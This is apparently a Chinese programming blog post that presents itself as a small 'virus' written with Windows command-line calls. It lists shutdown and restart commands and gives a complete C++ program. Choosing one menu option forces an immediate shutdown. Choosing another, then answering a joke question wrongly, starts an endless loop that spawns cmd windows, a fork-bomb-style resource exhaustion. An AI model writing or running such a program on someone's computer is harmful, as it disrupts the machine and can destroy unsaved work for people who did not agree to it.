第三篇:利用命令行写一个小病毒(无限弹窗,关机,重启)

1.命令行

其实原理很简单

cmd知识点(伪代码)

1.无限弹窗

while (1) system("start cmd");

2.关机

shutdown -s -t 0 //立刻关机

shutdown -s -f //一分钟后强制关机

shutdown -a //取消关机进程

3.重启

shutdown -r -t 0 //立刻重启 shutdown -r -f //一分钟后强制重启

4.颜色

2.依据以上我设想的一些有趣的操作

cpp 复制代码
#include <bits/stdc++.h>//c++他不香吗?
#include <windows.h>
#include <conio.h>
using namespace std;
void settype() {
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
}
int main() {
	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
	CONSOLE_CURSOR_INFO CursorInfo;
	GetConsoleCursorInfo(handle, &CursorInfo);
	CursorInfo.bVisible = false;
	SetConsoleCursorInfo(handle, &CursorInfo);
	CursorInfo.bVisible = true;
	SetConsoleCursorInfo(handle, &CursorInfo);
	cout<<"输入1毁灭程序,输入2查看作者的话,输入3安全退出程序";
	char y;
	cin >> y;
	system("cls");
	CursorInfo.bVisible = false;
	SetConsoleCursorInfo(handle, &CursorInfo);
	switch (y) {
		case '1': {
			system("title 呵,你完了!!!");
			system("color 04");
			settype();
			cout << "\t\t            We can be both of God and the Devil.\n\n\t\t  Since we are trying to raise the dead against the stream of time.";
			Sleep(5000);
			system("cls");
			settype();
			cout << "\t\t\t        我们可以是天使,也可以是恶魔\n\n\t\t\t      因为我们要令时光倒流,让人起死回生。";
			Sleep(3000);
			system("shutdown -s -t 0");//shutdown right now!!!
			cout << endl << "\t\t            ";
		}
		case '2': {
			system("title 相见就是缘分,非常感谢您能关注这个系统!!!");
			system("color 07");
			settype();
			cout << "\t\t            相见就是缘分,非常感谢您能关注这个系统!!!";
			Sleep(1000);
			system("cls");
			settype();
			system("title 帅,劝你最好填1!!!");
			cout << "\t\t            嘻嘻,浅浅问一下:作者帅吗?(帅输入1)";
			char p;
			cin >> p;
			if (p == '1') {
				system("title 对嘛,这就对了!!");
				cout << "\t\t            你是有眼光的!送你一天VIP,邀请码:1107   " << endl;
				cout << "\t\t            ";
			} else {
				system("title 呵,you die");
				cout << "\t\t            相见就是缘分";
				Sleep(1000);
				cout << "\t\t          但这个缘分不要也罢!";
				Sleep(5000);
				int a = 0;
				while (1) {
					if (a & 1)
						system("mode con cols=100 lines=40");
					else
						system("mode con cols=1000 lines=400");
					system("start cmd");//无限弹窗
					a++;
				}
				cout << endl << "\t\t            ";
			}
			break;
		}
		default:
			break;
	}

}
相关推荐
c238561 分钟前
C++列表初始化与变量类型推导
开发语言·c++
随意起个昵称10 分钟前
线性dp-LIS题目2(导弹拦截III)
算法·动态规划·图论
老H科研技术18 分钟前
第 01 篇:MCP 概念与架构 —— AI 世界的“USB-C“
c语言·人工智能·chatgpt·架构·aigc·agi
地平线开发者26 分钟前
工具链使用从入门到顺手
算法
明航咨询—张老师34 分钟前
AI工具狂飙时代:三款实用AI产品深度横向测评
大数据·人工智能·算法·it
折戟不必沉沙1 小时前
C++四种类型转换是什么
开发语言·c++
真实的菜1 小时前
Redis 从入门到精通(二):深入数据结构 —— 从 RedisObject 到 SkipList 的源码级拆解
数据结构·redis·skiplist
mifengxing1 小时前
LeetCode热题100——字母异位词分组
java·算法·leetcode·职场和发展·哈希表·hot100
John_ToDebug1 小时前
WeakPtr 与 Raw 指针:UAF 如何识别、如何处理、以及 Chromium 的设计哲学
c++·chrome·ai
社交怪人2 小时前
【判断奇偶】信息学奥赛一本通C语言解法(题号1041)
c语言